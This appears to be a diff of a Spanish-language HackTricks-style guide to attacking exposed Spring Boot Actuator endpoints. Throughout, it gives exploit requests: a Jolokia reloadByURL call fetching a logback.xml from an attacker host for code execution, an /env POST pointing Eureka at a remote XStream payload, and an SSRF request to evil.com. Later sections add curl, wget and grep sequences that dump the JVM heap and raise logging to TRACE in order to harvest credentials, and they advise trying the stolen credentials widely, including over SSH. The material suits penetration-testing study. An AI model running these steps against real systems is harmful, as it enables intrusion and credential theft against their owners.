`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modificación de Configuración a través de '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- El endpoint de actuator `/jolokia` expone la Jolokia Library, que permite acceso HTTP a MBeans. +- La acción `reloadByURL` puede explotarse para recargar configuraciones de logging desde una URL externa, lo que puede conducir a blind XXE o Remote Code Execution vía configuraciones XML manipuladas. +- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- Si las Bibliotecas de Spring Cloud están presentes, el endpoint `/env` permite la modificación de propiedades ambientales. -- Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en el Eureka serviceURL. -- Ejemplo de solicitud POST para explotación: +- Si están presentes las librerías de Spring Cloud, el endpoint `/env` permite la modificación de propiedades de entorno. +- Las propiedades pueden manipularse para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en la serviceURL de Eureka. +- Example exploit POST request: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Otras Configuraciones Útiles**: -- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, y `spring.datasource.tomcat.max-active` pueden ser manipuladas para varios exploits, como inyección SQL o alteración de cadenas de conexión a la base de datos. +3. **Other Useful Settings**: +- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, y `spring.datasource.tomcat.max-active` pueden manipularse para varios exploits, como SQL injection o alterar cadenas de conexión a bases de datos. -### **Información Adicional:** +### **Información adicional:** -- Una lista completa de actuadores por defecto se puede encontrar [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- El endpoint `/env` en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo. +- Una lista completa de actuadores por defecto puede encontrarse [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- El endpoint `/env` en Spring Boot 2.x usa formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo. -### **Temas Relacionados:** +### **Temas relacionados:** 1. **Env + H2 RCE**: -- Los detalles sobre la explotación de la combinación del endpoint `/env` y la base de datos H2 se pueden encontrar [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Detalles sobre la explotación de la combinación del endpoint `/env` y la base de datos H2 pueden encontrarse [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta**: -- El manejo de parámetros de matriz (`;`) en nombres de ruta HTTP por parte del marco de Spring puede ser explotado para Server-Side Request Forgery (SSRF). -- Ejemplo de solicitud de explotación: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- El manejo por parte del framework Spring de los matrix parameters (`;`) en pathnames HTTP puede explotarse para Server-Side Request Forgery (SSRF). +- Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +Si `/actuator/heapdump` está expuesto, normalmente puedes obtener un snapshot completo del heap de la JVM que frecuentemente contiene secretos en vivo (credenciales DB, API keys, Basic-Auth, URLs de servicios internos, mapas de propiedades de Spring, etc.). + +- Descargar y triage rápido: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Análisis más profundo con VisualVM y OQL: +- Abre el heapdump en VisualVM, inspecciona instancias de `java.lang.String` o ejecuta OQL para buscar secretos: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Extracción automatizada con JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Hallazgos típicos de alto valor: +- Objetos Spring `DataSourceProperties` / `HikariDataSource` que exponen `url`, `username`, `password`. +- Entradas `OriginTrackedMapPropertySource` que revelan `management.endpoints.web.exposure.include`, puertos de servicio y Basic-Auth embebido en URLs (p. ej., Eureka `defaultZone`). +- Fragmentos planos de requests/responses HTTP incluyendo `Authorization: Basic ...` capturados en memoria. + +Consejos: +- Usa una wordlist enfocada en Spring para descubrir endpoints de actuator rápidamente (p. ej., SecLists spring-boot.txt) y comprueba siempre si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` y `/actuator/configprops` también están expuestos. +- Las credenciales extraídas del heapdump a menudo funcionan para servicios adyacentes y a veces para usuarios del sistema (SSH), así que pruebalas ampliamente. + + +## Abusing Actuator loggers/logging to capture credentials + +Si `management.endpoints.web.exposure.include` lo permite y `/actuator/loggers` está expuesto, puedes aumentar dinámicamente los niveles de log a DEBUG/TRACE para paquetes que manejan autenticación y procesamiento de requests. Combinado con logs legibles (vía `/actuator/logfile` o rutas de logs conocidas), esto puede leak credenciales enviadas durante flujos de login (p. ej., cabeceras Basic-Auth o parámetros de formularios). + +- Enumerar y subir loggers sensibles: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Encuentra dónde se escriben los logs y extrae: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Genera tráfico de login/autenticación y analiza el log en busca de credenciales. En setups de microservicios con un gateway delante del auth, habilitar TRACE para paquetes de gateway/security frecuentemente hace visibles las cabeceras y cuerpos de formularios. Algunos entornos incluso generan tráfico de login sintético periódicamente, haciendo la recolección trivial una vez que el logging es verboso. + +Notas: +- Restaura los niveles de log cuando termines: `POST /actuator/loggers/` con `{ "configuredLevel": null }`. +- Si `/actuator/httpexchanges` está expuesto, también puede mostrar metadata reciente de requests que puede incluir cabeceras sensibles. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}